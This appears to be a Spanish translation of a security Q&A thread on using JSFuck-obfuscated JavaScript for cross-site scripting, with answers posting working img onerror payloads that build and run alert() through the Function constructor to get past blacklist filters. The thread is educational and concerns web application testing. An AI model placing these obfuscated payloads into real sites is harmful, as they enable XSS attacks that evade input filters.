XSS usando JSF ** k

10

Estaba leyendo sobre JSf ** k . Desde su página web:

  

JSF ** k es un estilo de programación esotérico y educativo basado en las partes atómicas de JavaScript. Utiliza solo seis caracteres diferentes para escribir y ejecutar código.

Mi pregunta es: ¿cuándo podemos usar exactamente esa carga útil para explotar una vulnerabilidad XSS? Probé el siguiente código HTML simple para probarlo:

<html>
<img src=1 onerror="(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]" >
</html>

Acabo de reemplazar el alert(1) con el código K correspondiente al texto sin formato JSF **. Sin embargo, el navegador no parece representar la carga útil. Cuando escribo la carga útil en la consola de Chrome, se representa como una cadena "alerta (1)" pero no funciona en el código HTML anterior. Supongo que eso tiene que ver con la forma en que un navegador procesa estas cargas (no conozco cómo / cuándo exactamente un navegador procesa varios tipos de cargas).

Me gustaría entender los escenarios en los que dichas cargas útiles pueden ser útiles al probar una aplicación web.

ACTUALIZACIÓN: Como se mencionó en la respuesta, el método funciona cuando se usa la fuente eval en lugar de la cadena de alerta (1) normal. Mi pregunta es, ¿por qué necesito una fuente de evaluación? AFAIK, el navegador debe ejecutar la cadena pasada al atributo onerror como JavaScript.

    
pregunta Rahil Arora 15.06.2015 - 20:34
fuente

4 respuestas

5

Un escenario obvio, como @schroeder señaló en uno de los comentarios, es cuando el servidor inspecciona las cadenas en busca de cadenas en la lista negra como alert(1) . Aparte de eso, para que la carga útil funcione, la aplicación debe cumplir las siguientes condiciones:

  • No debe haber ninguna restricción en la longitud de entrada (como puede ver, la carga útil puede ser enorme).
  • La aplicación no debe codificar JavaScript ninguno de estos caracteres: ! () + [] .
  • La carga útil debe evaluarse (a menos que la entrada del usuario se alimente directamente a una función eval() ). La razón por la que necesita esto se debe a la forma en que funcionan estos subconjuntos esotéricos.

Entonces, ¿cómo y por qué funciona JSF ** k? El concepto completo se ha explicado maravillosamente en esta página :

  

Funciona porque cada programa JavaScript puede escribirse como una cadena que se evalúa . Por ejemplo, este código JavaScript normal:

alert("Hello, world!")
     

se puede escribir como

Function('alert("Hello, world!")')

Básicamente, JSF ## k le permite escribir cualquier código JavaScript como cadena , que debe ser evaluado para la ejecución. Para el ejemplo mencionado en la pregunta, el navegador considera el alert(1) en el controlador de eventos onerror como una función válida de JavaScript, sin embargo, su equivalente JSF ## k será una cadena que luego necesita ser evaluada .

    
respondido por el Rahil Arora 30.06.2015 - 19:10
fuente
6

Esto funciona para mí:

<html>
<img src=1 onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+[]]]+(+!![])+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+!![]]])()" >
<html>

Consulte el enlace enlace

Tomado directamente de enlace

El código JSF *** también debería funcionar al menos en Chrome si elige los parámetros correctos. Tenga en cuenta que necesita generar código ejecutable con Eval Source, no solo una cadena.

    
respondido por el Pasty 16.06.2015 - 15:14
fuente
1

Este trabajo es correcto para mí (los comentarios indican lo que estamos generando línea por línea):

<img src="x" onerror="([] [(              // [].
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[])     [+!+[]]                    + // 'o'
 ([]['']+[]) [+!+[]]                    + // 'n'
 ([![]]+[])  [!+[]+!+[]+!+[]]           + // 's'
 ([!![]]+[]) [+[]]                      + // 't'
 ([!![]]+[]) [+!+[]]                    + // 'r'
 ([!![]]+[]) [!+[]+!+[]]                + // 'u'
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]]                      + // 't'
 ({}+[])     [+!+[]]                    + // 'o'
 ([!![]]+[]) [+!+[]]                      // 'r'
 )]
[                                         // .
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[])     [+!+[]]                    + // 'o'
 ([]['']+[]) [+!+[]]                    + // 'n'
 ([![]]+[])  [!+[]+!+[]+!+[]]           + // 's'
 ([!![]]+[]) [+[]]                      + // 't'
 ([!![]]+[]) [+!+[]]                    + // 'r'
 ([!![]]+[]) [!+[]+!+[]]                + // 'u'
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]]                      + // 't'
 ({}+[])     [+!+[]]                    + // 'o'
 ([!![]]+[]) [+!+[]]                      // 'r'
]) (

    ([![]]+[]) [+!+[]]+                   //  false[1]  = a
    ([![]]+[]) [!+[]+!+[]]+               //  false[2]  = l
    ([![]]+[]) [!+[]+!+[]+!+[]+!+[]]+     //  false[4]  = e
    ([!![]]+[]) [++[ [] ] [+[]]]+         //  true[1]   = r
    ([!![]]+[]) [[]*[]] +                 //  true[0]   = t

                                          // (
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+[]] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]] +
                                          // 0
    [] * [] +
                                          // )
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+[]] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
)();                                      // (\"alert(0)\")();">

Si necesita más referencias sobre la sintaxis, escribí una publicación sobre estos tipos de XSS (codificación alfanumérica de javascript) que puede ayudarlo: enlace

    
respondido por el eurialo 01.07.2015 - 15:02
fuente
0

Respuesta actualizada:

Necesitas la evaluación para convertir tu código javascript en una cadena porque de lo contrario el navegador no podría tomarlo en consideración como una instrucción.

Cuando observa el código utilizado en enlace , el uso de la función "Ejecutar" eval no importa lo que sea

$("run").onclick = function(){
  value = eval($("output").value);

  if (!$("eval").checked){
    alert('"' + value + '"');
  }
  return false;
};

Otros enlaces interesantes:

Decode JSFuck

    
respondido por el intika 25.06.2015 - 10:28
fuente

Lea otras preguntas en las etiquetas